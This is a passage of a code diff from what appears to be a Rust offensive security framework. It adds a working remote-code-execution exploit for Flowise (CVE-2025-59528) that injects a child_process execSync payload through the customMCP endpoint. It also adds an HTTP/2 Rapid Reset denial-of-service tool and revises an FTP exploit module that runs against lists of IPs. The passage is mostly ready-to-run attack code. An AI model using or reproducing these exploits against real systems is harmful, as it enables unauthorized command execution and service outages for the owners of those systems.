m.as_str().parse::<u16>().context("Invalid port value")?
|
||||
} else {
|
||||
default_port
|
||||
};
|
||||
let formatted = if addr.contains(':') && !addr.contains('.') {
|
||||
format!("[{}]:{}", addr, port)
|
||||
} else {
|
||||
format!("{}:{}", addr, port)
|
||||
};
|
||||
// Verify DNS/getaddrinfo
|
||||
formatted
|
||||
.to_socket_addrs()
|
||||
.context(format!("Could not resolve {}", formatted))?;
|
||||
} else { default_port };
|
||||
let formatted = if addr.contains(':') && !addr.contains('.') { format!("[{}]:{}", addr, port) } else { format!("{}:{}", addr, port) };
|
||||
formatted.to_socket_addrs().context(format!("Could not resolve {}", formatted))?;
|
||||
Ok(formatted)
|
||||
}
|
||||
|
||||
@@ -0,0 +1,185 @@
|
||||
// CVE-2025-59528 - Flowise < 3.0.5 Remote Code Execution
|
||||
// Exploit Author: nltt0 (https://github.com/nltt-br)
|
||||
// Vendor Homepage: https://flowiseai.com/
|
||||
// Software Link: https://github.com/FlowiseAI/Flowise
|
||||
// Version: < 3.0.5
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use serde_json::json;
|
||||
use std::io::{self, Write};
|
||||
use std::time::Duration;
|
||||
|
||||
/// Displays module banner
|
||||
fn banner() {
|
||||
println!(
|
||||
"{}",
|
||||
r#"
|
||||
_____ _ _____
|
||||
/ __ \ | | / ___|
|
||||
| / \/ __ _| | __ _ _ __ __ _ ___ ___ \ `--.
|
||||
| | / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \
|
||||
| \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ /
|
||||
\____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/
|
||||
__/ |
|
||||
|___/
|
||||
|
||||
by nltt0
|
||||
"#
|
||||
.cyan()
|
||||
);
|
||||
}
|
||||
|
||||
/// Login to Flowise and return authenticated session
|
||||
async fn login(client: &Client, url: &str, email: &str, password: &str) -> Result<String> {
|
||||
let login_url = format!("{}/api/v1/auth/login", url.trim_end_matches('/'));
|
||||
|
||||
let data = json!({
|
||||
"email": email,
|
||||
"password": password
|
||||
});
|
||||
|
||||
let response = client
|
||||
.post(&login_url)
|
||||
.header("x-request-from", "internal")
|
||||
.header("Accept-Language", "pt-BR,pt;q=0.9")
|
||||
.header("Accept", "application/json, text/plain, */*")
|
||||
.header("Content-Type", "application/json")
|
||||
.header("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36")
|
||||
.header("Origin", "http://workflow.flow.hc")
|
||||
.header("Referer", "http://workflow.flow.hc/signin")
|
||||
.header("Accept-Encoding", "gzip, deflate, br")
|
||||
.header("Connection", "keep-alive")
|
||||
.json(&data)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send login request")?;
|
||||
|
||||
if response.status().is_success() {
|
||||
// Extract session token/cookie from response
|
||||
// The actual token extraction depends on Flowise's response format
|
||||
// For now, we'll use the cookie jar from the client
|
||||
Ok("authenticated".to_string())
|
||||
} else {
|
||||
Err(anyhow!("Login failed with status: {}", response.status()))
|
||||
}
|
||||
}
|
||||
|
||||
/// Execute remote code via the customMCP endpoint
|
||||
async fn execute_rce(
|
||||
client: &Client,
|
||||
url: &str,
|
||||
email: &str,
|
||||
password: &str,
|
||||
cmd: &str,
|
||||
) -> Result<()> {
|
||||
// First, login to get authenticated session
|
||||
println!("{}", "[*] Attempting to login...".yellow());
|
||||
login(client, url, email, password).await?;
|
||||
println!("{}", "[+] Login successful".green());
|
||||
|
||||
let rce_url = format!("{}/api/v1/node-load-method/customMCP", url.trim_end_matches('/'));
|
||||
|
||||
// Escape the command for JavaScript execution
|
||||
let escaped_cmd = cmd.replace('\\', "\\\\").replace('"', "\\\"").replace('\n', "\\n");
|
||||
|
||||
// Construct the malicious payload
|
||||
let command = format!(
|
||||
r#"({{x:(function(){{const cp = process.mainModule.require("child_process");cp.execSync("{}");return 1;}})()}})"#,
|
||||
escaped_cmd
|
||||
);
|
||||
|
||||
let data = json!({
|
||||
"loadMethod": "listActions",
|
||||
"inputs": {
|
||||
"mcpServerConfig": command
|
||||
}
|
||||
});
|
||||
|
||||
println!("{}", format!("[*] Executing command: {}", cmd).yellow());
|
||||
|
||||
let response = client
|
||||
.post(&rce_url)
|
||||
.header("x-request-from", "internal")
|
||||
.header("Content-Type", "application/json")
|
||||
.json(&data)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send RCE request")?;
|
||||
|
||||
if response.status() == 401 {
|
||||
// Retry with internal header if we get 401
|
||||
println!("{}", "[*] Received 401, retrying with internal header...".yellow());
|
||||
let retry_response = client
|
||||
.post(&rce_url)
|
||||
.header("x-request-from", "internal")
|
||||
.json(&data)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to retry RCE request")?;
|
||||
|
||||
if retry_response.status().is_success() {
|
||||
println!("{}", format!("[+] Command executed successfully: {}", cmd).green().bold());
|
||||
} else {
|
||||
println!("{}", format!("[-] Command execution failed with status: {}", retry_response.status()).red());
|
||||
}
|
||||
} else if response.status().is_success() {
|
||||
println!("{}", format!("[+] Command executed successfully: {}", cmd).green().bold());
|
||||
} else {
|
||||
println!("{}", format!("[-] Command execution failed with status: {}", response.status()).red());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Main entry point for auto-dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
banner();
|
||||
|
||||
let mut base_url = target.trim().to_string();
|
||||
if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
|
||||
base_url = format!("http://{}", base_url);
|
||||
}
|
||||
base_url = base_url.trim_end_matches('/').to_string();
|
||||
|
||||
println!("{}", format!("[*] Target URL: {}", base_url).yellow());
|
||||
|
||||
// Build HTTP client with cookie support and SSL verification disabled
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(30))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.cookie_store(true)
|
||||
.build()
|
||||
.context("Failed to create HTTP client")?;
|
||||
|
||||
// Prompt for credentials and command
|
||||
let mut email = String::new();
|
||||
let mut password = String::new();
|
||||
let mut command = String::new();
|
||||
|
||||
print!("{}", "Email: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut email)?;
|
||||
|
||||
print!("{}", "Password: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut password)?;
|
||||
|
||||
print!("{}", "Command to execute: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut command)?;
|
||||
|
||||
let email = email.trim();
|
||||
let password = password.trim();
|
||||
let command = command.trim();
|
||||
|
||||
if email.is_empty() || password.is_empty() || command.is_empty() {
|
||||
return Err(anyhow!("Email, password, and command must be provided"));
|
||||
}
|
||||
|
||||
execute_rce(&client, &base_url, email, password, command).await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -0,0 +1,2 @@
|
||||
pub mod cve_2025_59528_flowise_rce;
|
||||
|
||||
@@ -2,7 +2,7 @@ use anyhow::{anyhow, Result};
|
||||
use ftp::FtpStream;
|
||||
use std::net::ToSocketAddrs;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{copy, BufRead, BufReader, Write};
|
||||
use std::io::{self, copy, BufRead, BufReader, Write};
|
||||
use std::path::Path;
|
||||
use tokio::task;
|
||||
use tokio::sync::Semaphore;
|
||||
@@ -35,10 +35,13 @@ fn exploit_target(target: String, port: u16) -> Result<String> {
|
||||
|
||||
println!("{}", format!("[*] Connecting to FTP service at {}...", addr).yellow());
|
||||
|
||||
let mut ftp = FtpStream::connect(
|
||||
addr.to_socket_addrs()?.next().ok_or_else(|| anyhow!("Failed to resolve address"))?
|
||||
)
|
||||
.map_err(|e| anyhow!("FTP connection error: {}", e))?;
|
||||
// Resolve address with better error handling
|
||||
let socket_addr = addr.to_socket_addrs()?
|
||||
.next()
|
||||
.ok_or_else(|| anyhow!("Failed to resolve address: {}", addr))?;
|
||||
|
||||
let mut ftp = FtpStream::connect(socket_addr)
|
||||
.map_err(|e| anyhow!("FTP connection error to {}: {}", addr, e))?;
|
||||
|
||||
ftp.login("pachev", "").map_err(|e| anyhow!("FTP login failed: {}", e))?;
|
||||
println!("{}", "[+] Logged in successfully as 'pachev'.".green());
|
||||
@@ -77,25 +80,28 @@ fn save_result(line: &str) -> Result<()> {
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let target = target.to_string(); // // Own target early to avoid lifetime issues
|
||||
|
||||
println!("Enter the FTP port (default 21):");
|
||||
print!("{}", "Enter the FTP port (default 21): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut port_input = String::new();
|
||||
std::io::stdin().read_line(&mut port_input)?;
|
||||
io::stdin().read_line(&mut port_input)?;
|
||||
let port_input = port_input.trim();
|
||||
let port = if port_input.is_empty() {
|
||||
21
|
||||
} else {
|
||||
port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port number"))?
|
||||
port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port number: {}", port_input))?
|
||||
};
|
||||
|
||||
println!("Do you want to use a list of IPs? (yes/no):");
|
||||
print!("{}", "Do you want to use a list of IPs? (yes/no): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut use_list = String::new();
|
||||
std::io::stdin().read_line(&mut use_list)?;
|
||||
io::stdin().read_line(&mut use_list)?;
|
||||
let use_list = use_list.trim().to_lowercase();
|
||||
|
||||
if use_list == "yes" || use_list == "y" {
|
||||
println!("Enter path to the IP list file:");
|
||||
print!("{}", "Enter path to the IP list file: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut path = String::new();
|
||||
std::io::stdin().read_line(&mut path)?;
|
||||
io::stdin().read_line(&mut path)?;
|
||||
let path = path.trim();
|
||||
|
||||
if !Path::new(path).exists() {
|
||||
@@ -116,32 +122,33 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
continue;
|
||||
}
|
||||
let ip_owned = ip.to_string();
|
||||
let ip_for_errors = ip_owned.clone(); // Clone for error messages
|
||||
let port = port;
|
||||
let target_clone = target.clone(); // // Clone per task
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
|
||||
println!("{}", format!("[*] Launching task for target: {}", ip_owned).yellow());
|
||||
|
||||
futures.push(tokio::spawn(async move {
|
||||
let _permit = permit; // // Hold permit alive
|
||||
let ip_for_errors = ip_for_errors.clone(); // Clone for error messages in closure
|
||||
let exploit_task = task::spawn_blocking(move || exploit_target(ip_owned, port));
|
||||
|
||||
match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
|
||||
Ok(Ok(Ok(success))) => {
|
||||
println!("{}", format!("[+] Success: {}", success).green());
|
||||
save_result(&success)?;
|
||||
println!("{}", format!("[+] Success: {}", success).green().bold());
|
||||
let _ = save_result(&success);
|
||||
}
|
||||
Ok(Ok(Err(e))) => {
|
||||
println!("{}", format!("[!] Exploit error: {}", e).red());
|
||||
save_result(&format!("{} FAIL: {}", target_clone, e))?;
|
||||
println!("{}", format!("[-] Exploit error for {}: {}", ip_for_errors, e).red());
|
||||
let _ = save_result(&format!("{} FAIL: {}", ip_for_errors, e));
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
println!("{}", format!("[!] Join error: {}", e).red());
|
||||
save_result(&format!("{} FAIL: Join error {}", target_clone, e))?;
|
||||
println!("{}", format!("[-] Join error for {}: {}", ip_for_errors, e).red());
|
||||
let _ = save_result(&format!("{} FAIL: Join error {}", ip_for_errors, e));
|
||||
}
|
||||
Err(_) => {
|
||||
println!("{}", format!("[!] Timeout while exploiting {}", target_clone).red());
|
||||
save_result(&format!("{} TIMEOUT", target_clone))?;
|
||||
println!("{}", format!("[-] Timeout while exploiting {} ({}s)", ip_for_errors, FTP_TIMEOUT_SECONDS).yellow());
|
||||
let _ = save_result(&format!("{} TIMEOUT", ip_for_errors));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -165,23 +172,24 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let target_owned = target.to_string();
|
||||
let port = port;
|
||||
|
||||
println!("{}", format!("[*] Exploiting single target: {}:{}", target, port).yellow());
|
||||
let exploit_task = task::spawn_blocking(move || exploit_target(target_owned, port));
|
||||
match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
|
||||
Ok(Ok(Ok(success))) => {
|
||||
println!("{}", format!("[+] Success: {}", success).green());
|
||||
save_result(&success)?;
|
||||
println!("{}", format!("[+] Success: {}", success).green().bold());
|
||||
let _ = save_result(&success);
|
||||
}
|
||||
Ok(Ok(Err(e))) => {
|
||||
println!("{}", format!("[!] Exploit error: {}", e).red());
|
||||
save_result(&format!("{} FAIL: {}", target, e))?;
|
||||
println!("{}", format!("[-] Exploit error: {}", e).red());
|
||||
let _ = save_result(&format!("{} FAIL: {}", target, e));
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
println!("{}", format!("[!] Join error: {}", e).red());
|
||||
save_result(&format!("{} FAIL: Join error {}", target, e))?;
|
||||
println!("{}", format!("[-] Join error: {}", e).red());
|
||||
let _ = save_result(&format!("{} FAIL: Join error {}", target, e));
|
||||
}
|
||||
Err(_) => {
|
||||
println!("{}", format!("[!] Timeout while exploiting {}", target).red());
|
||||
save_result(&format!("{} TIMEOUT", target))?;
|
||||
println!("{}", format!("[-] Timeout while exploiting {} ({}s)", target, FTP_TIMEOUT_SECONDS).yellow());
|
||||
let _ = save_result(&format!("{} TIMEOUT", target));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,445 @@
|
||||
// CVE-2023-44487 - HTTP/2 Rapid Reset Denial of Service
|
||||
// Exploit Author: Madhusudhan Rajappa
|
||||
// Date: 29th August 2025
|
||||
// Version: HTTP/2.0
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use h2::client::Builder;
|
||||
use std::io::{self, Write};
|
||||
use std::net::ToSocketAddrs;
|
||||
use std::time::{Duration, Instant};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::timeout;
|
||||
use tokio_rustls::TlsConnector;
|
||||
|
||||
/// Displays module banner
|
||||
fn banner() {
|
||||
println!(
|
||||
"{}",
|
||||
r#"
|
||||
╔═══════════════════════════════════════════════════════════╗
|
||||
║ CVE-2023-44487 HTTP/2 Rapid Reset DoS Vulnerability ║
|
||||
║ Tester ║
|
||||
║ ║
|
||||
║ WARNING: Only use on systems you own or have ║
|
||||
║ permission to test! ║
|
||||
╚═══════════════════════════════════════════════════════════╝
|
||||
"#
|
||||
.cyan()
|
||||
);
|
||||
}
|
||||
|
||||
/// Normalize IPv6 host with brackets
|
||||
fn normalize_host(host: &str) -> String {
|
||||
let stripped = host.trim_matches(|c| c == '[' || c == ']');
|
||||
if stripped.contains(':') {
|
||||
format!("[{}]", stripped)
|
||||
} else {
|
||||
stripped.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Perform baseline test with normal HTTP/2 requests
|
||||
async fn baseline_test(
|
||||
host: &str,
|
||||
port: u16,
|
||||
use_ssl: bool,
|
||||
num_requests: usize,
|
||||
) -> Result<()> {
|
||||
println!("{}", format!("\n[*] Performing baseline test with {} normal requests...", num_requests).yellow());
|
||||
|
||||
let host_normalized = normalize_host(host);
|
||||
let addr = format!("{}:{}", host_normalized, port);
|
||||
let socket_addr = addr
|
||||
.to_socket_addrs()
|
||||
.context("Invalid target address format")?
|
||||
.next()
|
||||
.context("Could not resolve target address")?;
|
||||
|
||||
let stream = TcpStream::connect(socket_addr).await?;
|
||||
|
||||
if use_ssl {
|
||||
let root_store = tokio_rustls::rustls::RootCertStore::empty();
|
||||
let config = tokio_rustls::rustls::ClientConfig::builder()
|
||||
.with_safe_defaults()
|
||||
.with_root_certificates(root_store)
|
||||
.with_no_client_auth();
|
||||
let connector = TlsConnector::from(std::sync::Arc::new(config));
|
||||
let server_name = tokio_rustls::rustls::ServerName::try_from(host)
|
||||
.map_err(|_| anyhow!("Invalid server name"))?;
|
||||
let tls_stream = connector.connect(server_name, stream).await?;
|
||||
let (mut sender, connection) = Builder::new()
|
||||
.handshake::<_, bytes::BytesMut>(tls_stream)
|
||||
.await?;
|
||||
|
||||
// Spawn connection task
|
||||
tokio::spawn(async move {
|
||||
if let Err(e) = connection.await {
|
||||
eprintln!("Connection error: {:?}", e);
|
||||
}
|
||||
});
|
||||
|
||||
let mut successful = 0;
|
||||
let start = Instant::now();
|
||||
|
||||
for i in 0..num_requests {
|
||||
let request = http::Request::builder()
|
||||
.uri(format!("https://{}:{}/", host, port))
|
||||
.body(())
|
||||
.unwrap();
|
||||
|
||||
match sender.send_request(request, true) {
|
||||
Ok(_send_stream) => {
|
||||
// Request sent successfully with end_of_stream=true
|
||||
successful += 1;
|
||||
}
|
||||
Err(_) => {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if i < num_requests - 1 {
|
||||
tokio::time::sleep(Duration::from_millis(100)).await;
|
||||
}
|
||||
}
|
||||
|
||||
let duration = start.elapsed();
|
||||
println!("{}", format!("[+] Baseline Results:").green());
|
||||
println!(" Total Requests: {}", num_requests);
|
||||
println!(" Successful: {}", successful);
|
||||
println!(" Success Rate: {:.2}%", (successful as f64 / num_requests as f64) * 100.0);
|
||||
println!(" Duration: {:.3}s", duration.as_secs_f64());
|
||||
} else {
|
||||
let (mut sender, connection) = Builder::new()
|
||||
.handshake::<_, bytes::BytesMut>(stream)
|
||||
.await?;
|
||||
|
||||
// Spawn connection task
|
||||
tokio::spawn(async move {
|
||||
if let Err(e) = connection.await {
|
||||
eprintln!("Connection error: {:?}", e);
|
||||
}
|
||||
});
|
||||
|
||||
let mut successful = 0;
|
||||
let start = Instant::now();
|
||||
|
||||
for i in 0..num_requests {
|
||||
let request = http::Request::builder()
|
||||
.uri(format!("http://{}:{}/", host, port))
|
||||
.body(())
|
||||
.unwrap();
|
||||
|
||||
match sender.send_request(request, true) {
|
||||
Ok(_send_stream) => {
|
||||
// Request sent successfully with end_of_stream=true
|
||||
successful += 1;
|
||||
}
|
||||
Err(_) => {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if i < num_requests - 1 {
|
||||
tokio::time::sleep(Duration::from_millis(100)).await;
|
||||
}
|
||||
}
|
||||
|
||||
let duration = start.elapsed();
|
||||
println!("{}", format!("[+] Baseline Results:").green());
|
||||
println!(" Total Requests: {}", num_requests);
|
||||
println!(" Successful: {}", successful);
|
||||
println!(" Success Rate: {:.2}%", (successful as f64 / num_requests as f64) * 100.0);
|
||||
println!(" Duration: {:.3}s", duration.as_secs_f64());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Perform rapid reset attack test
|
||||
async fn rapid_reset_test(
|
||||
host: &str,
|
||||
port: u16,
|
||||
use_ssl: bool,
|
||||
num_streams: usize,
|
||||
delay_ms: u64,
|
||||
) -> Result<()> {
|
||||
println!("{}", format!("\n[*] Starting rapid reset test with {} streams...", num_streams).yellow());
|
||||
|
||||
let host_normalized = normalize_host(host);
|
||||
let addr = format!("{}:{}", host_normalized, port);
|
||||
let socket_addr = addr
|
||||
.to_socket_addrs()
|
||||
.context("Invalid target address format")?
|
||||
.next()
|
||||
.context("Could not resolve target address")?;
|
||||
|
||||
let stream = TcpStream::connect(socket_addr).await?;
|
||||
|
||||
if use_ssl {
|
||||
let root_store = tokio_rustls::rustls::RootCertStore::empty();
|
||||
let config = tokio_rustls::rustls::ClientConfig::builder()
|
||||
.with_safe_defaults()
|
||||
.with_root_certificates(root_store)
|
||||
.with_no_client_auth();
|
||||
let connector = TlsConnector::from(std::sync::Arc::new(config));
|
||||
let server_name = tokio_rustls::rustls::ServerName::try_from(host)
|
||||
.map_err(|_| anyhow!("Invalid server name"))?;
|
||||
let tls_stream = connector.connect(server_name, stream).await?;
|
||||
let (mut sender, connection) = Builder::new()
|
||||
.handshake::<_, bytes::BytesMut>(tls_stream)
|
||||
.await?;
|
||||
|
||||
// Spawn connection task
|
||||
let connection_task = tokio::spawn(async move {
|
||||
if let Err(e) = connection.await {
|
||||
eprintln!("Connection error: {:?}", e);
|
||||
}
|
||||
});
|
||||
|
||||
let mut created_streams = Vec::new();
|
||||
let start = Instant::now();
|
||||
|
||||
// Phase 1: Rapidly create streams
|
||||
println!("{}", "[*] Phase 1: Creating streams rapidly...".yellow());
|
||||
for i in 0..num_streams {
|
||||
let request = http::Request::builder()
|
||||
.uri(format!("https://{}:{}/", host, port))
|
||||
.header("user-agent", "CVE-2023-44487-Tester/1.0")
|
||||
.body(())
|
||||
.unwrap();
|
||||
|
||||
match sender.send_request(request, false) {
|
||||
Ok((_response_future, send_stream)) => {
|
||||
created_streams.push(send_stream);
|
||||
if delay_ms > 0 {
|
||||
tokio::time::sleep(Duration::from_millis(delay_ms)).await;
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Error creating stream {}: {:?}", i, e).red());
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let creation_duration = start.elapsed();
|
||||
println!("{}", format!("[+] Created {} streams in {:.3}s", created_streams.len(), creation_duration.as_secs_f64()).green());
|
||||
|
||||
// Phase 2: Rapidly reset all streams
|
||||
println!("{}", "[*] Phase 2: Resetting streams rapidly...".yellow());
|
||||
let reset_start = Instant::now();
|
||||
let mut reset_count = 0;
|
||||
|
||||
for mut send_stream in created_streams {
|
||||
// Send RST_STREAM - send_stream has a send_reset method
|
||||
send_stream.send_reset(h2::Reason::CANCEL);
|
||||
reset_count += 1;
|
||||
|
||||
if delay_ms > 0 {
|
||||
tokio::time::sleep(Duration::from_millis(delay_ms / 10)).await;
|
||||
}
|
||||
}
|
||||
|
||||
let reset_duration = reset_start.elapsed();
|
||||
let total_duration = start.elapsed();
|
||||
let reset_rate = if reset_duration.as_secs_f64() > 0.0 {
|
||||
reset_count as f64 / reset_duration.as_secs_f64()
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
|
||||
println!("{}", format!("[+] Reset {} streams in {:.3}s", reset_count, reset_duration.as_secs_f64()).green());
|
||||
println!("{}", format!("[+] Reset Rate: {:.1} resets/second", reset_rate).green());
|
||||
println!("{}", format!("[+] Total Duration: {:.3}s", total_duration.as_secs_f64()).green());
|
||||
|
||||
// Phase 3: Analysis
|
||||
println!("{}", "\n[*] Vulnerability Analysis:".yellow());
|
||||
|
||||
if reset_rate > 1000.0 {
|
||||
println!("{}", "[!] HIGH RISK: Server accepts very high reset rates".red().bold());
|
||||
println!("{}", " This may indicate vulnerability to CVE-2023-44487".red());
|
||||
} else if reset_rate > 100.0 {
|
||||
println!("{}", "[!] MEDIUM RISK: Server accepts moderate reset rates".yellow().bold());
|
||||
println!("{}", " Further testing may be needed".yellow());
|
||||
} else {
|
||||
println!("{}", "[+] LOWER RISK: Server has rate limiting on resets".green());
|
||||
println!("{}", " This suggests some protection against the vulnerability".green());
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
drop(sender);
|
||||
let _ = timeout(Duration::from_secs(2), connection_task).await;
|
||||
} else {
|
||||
let (mut sender, connection) = Builder::new()
|
||||
.handshake::<_, bytes::BytesMut>(stream)
|
||||
.await?;
|
||||
|
||||
// Spawn connection task
|
||||
let connection_task = tokio::spawn(async move {
|
||||
if let Err(e) = connection.await {
|
||||
eprintln!("Connection error: {:?}", e);
|
||||
}
|
||||
});
|
||||
|
||||
let mut created_streams = Vec::new();
|
||||
let start = Instant::now();
|
||||
|
||||
// Phase 1: Rapidly create streams
|
||||
println!("{}", "[*] Phase 1: Creating streams rapidly...".yellow());
|
||||
for i in 0..num_streams {
|
||||
let request = http::Request::builder()
|
||||
.uri(format!("http://{}:{}/", host, port))
|
||||
.header("user-agent", "CVE-2023-44487-Tester/1.0")
|
||||
.body(())
|
||||
.unwrap();
|
||||
|
||||
match sender.send_request(request, false) {
|
||||
Ok((_response_future, send_stream)) => {
|
||||
created_streams.push(send_stream);
|
||||
if delay_ms > 0 {
|
||||
tokio::time::sleep(Duration::from_millis(delay_ms)).await;
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Error creating stream {}: {:?}", i, e).red());
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let creation_duration = start.elapsed();
|
||||
println!("{}", format!("[+] Created {} streams in {:.3}s", created_streams.len(), creation_duration.as_secs_f64()).green());
|
||||
|
||||
// Phase 2: Rapidly reset all streams
|
||||
println!("{}", "[*] Phase 2: Resetting streams rapidly...".yellow());
|
||||
let reset_start = Instant::now();
|
||||
let mut reset_count = 0;
|
||||
|
||||
for mut send_stream in created_streams {
|
||||
// Send RST_STREAM - send_stream has a send_reset method
|
||||
send_stream.send_reset(h2::Reason::CANCEL);
|
||||
reset_count += 1;
|
||||
|
||||
if delay_ms > 0 {
|
||||
tokio::time::sleep(Duration::from_millis(delay_ms / 10)).await;
|
||||
}
|
||||
}
|
||||
|
||||
let reset_duration = reset_start.elapsed();
|
||||
let total_duration = start.elapsed();
|
||||
let reset_rate = if reset_duration.as_secs_f64() > 0.0 {
|
||||
reset_count as f64 / reset_duration.as_secs_f64()
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
|
||||
println!("{}", format!("[+] Reset {} streams in {:.3}s", reset_count, reset_duration.as_secs_f64()).green());
|
||||
println!("{}", format!("[+] Reset Rate: {:.1} resets/second", reset_rate).green());
|
||||
println!("{}", format!("[+] Total Duration: {:.3}s", total_duration.as_secs_f64()).green());
|
||||
|
||||
// Phase 3: Analysis
|
||||
println!("{}", "\n[*] Vulnerability Analysis:".yellow());
|
||||
|
||||
if reset_rate > 1000.0 {
|
||||
println!("{}", "[!] HIGH RISK: Server accepts very high reset rates".red().bold());
|
||||
println!("{}", " This may indicate vulnerability to CVE-2023-44487".red());
|
||||
} else if reset_rate > 100.0 {
|
||||
println!("{}", "[!] MEDIUM RISK: Server accepts moderate reset rates".yellow().bold());
|
||||
println!("{}", " Further testing may be needed".yellow());
|
||||
} else {
|
||||
println!("{}", "[+] LOWER RISK: Server has rate limiting on resets".green());
|
||||
println!("{}", " This suggests some protection against the vulnerability".green());
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
drop(sender);
|
||||
let _ = timeout(Duration::from_secs(2), connection_task).await;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Main entry point for auto-dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
banner();
|
||||
|
||||
// Parse target (could be host:port or just host)
|
||||
let (host, default_port) = if let Some(colon_pos) = target.rfind(':') {
|
||||
let h = &target[..colon_pos];
|
||||
let p = target[colon_pos + 1..].parse::<u16>().unwrap_or(443);
|
||||
(h.to_string(), p)
|
||||
} else {
|
||||
(target.to_string(), 443)
|
||||
};
|
||||
|
||||
// Interactive prompts
|
||||
let mut port_input = String::new();
|
||||
print!("{}", format!("Enter target port (default {}): ", default_port).cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut port_input)?;
|
||||
let port: u16 = port_input.trim().parse().unwrap_or(default_port);
|
||||
|
||||
let mut ssl_input = String::new();
|
||||
print!("{}", "Use SSL/TLS? (yes/no, default yes): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut ssl_input)?;
|
||||
let use_ssl = !ssl_input.trim().to_lowercase().starts_with('n');
|
||||
|
||||
let mut streams_input = String::new();
|
||||
print!("{}", "Number of streams for rapid reset test (default 100): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut streams_input)?;
|
||||
let num_streams: usize = streams_input.trim().parse().unwrap_or(100);
|
||||
|
||||
let mut delay_input = String::new();
|
||||
print!("{}", "Delay between operations in ms (default 1): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut delay_input)?;
|
||||
let delay_ms: u64 = delay_input.trim().parse().unwrap_or(1);
|
||||
|
||||
let mut baseline_input = String::new();
|
||||
print!("{}", "Run baseline test first? (yes/no, default yes): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut baseline_input)?;
|
||||
let run_baseline = !baseline_input.trim().to_lowercase().starts_with('n');
|
||||
|
||||
println!("\n{}", "=".repeat(60).cyan());
|
||||
println!("{}", format!("Target: {}:{}", host, port).yellow());
|
||||
println!("{}", format!("SSL: {}", if use_ssl { "Enabled" } else { "Disabled" }).yellow());
|
||||
println!("{}", "=".repeat(60).cyan());
|
||||
|
||||
// Legal disclaimer
|
||||
println!("\n{}", "LEGAL DISCLAIMER:".red().bold());
|
||||
println!("This tool is for authorized security testing only.");
|
||||
println!("Ensure you have permission to test the target system.");
|
||||
println!("Unauthorized use may be illegal.\n");
|
||||
|
||||
let mut confirm = String::new();
|
||||
print!("{}", "Do you have permission to test this system? (yes/no): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut confirm)?;
|
||||
|
||||
if !confirm.trim().to_lowercase().starts_with('y') {
|
||||
println!("{}", "Exiting. Only use this tool on systems you're authorized to test.".red());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Run baseline test
|
||||
if run_baseline {
|
||||
if let Err(e) = baseline_test(&host, port, use_ssl, 10).await {
|
||||
println!("{}", format!("[-] Baseline test error: {}", e).red());
|
||||
}
|
||||
}
|
||||
|
||||
// Run rapid reset test
|
||||
if let Err(e) = rapid_reset_test(&host, port, use_ssl, num_streams, delay_ms).await {
|
||||
println!("{}", format!("[-] Rapid reset test error: {}", e).red());
|
||||
}
|
||||
|
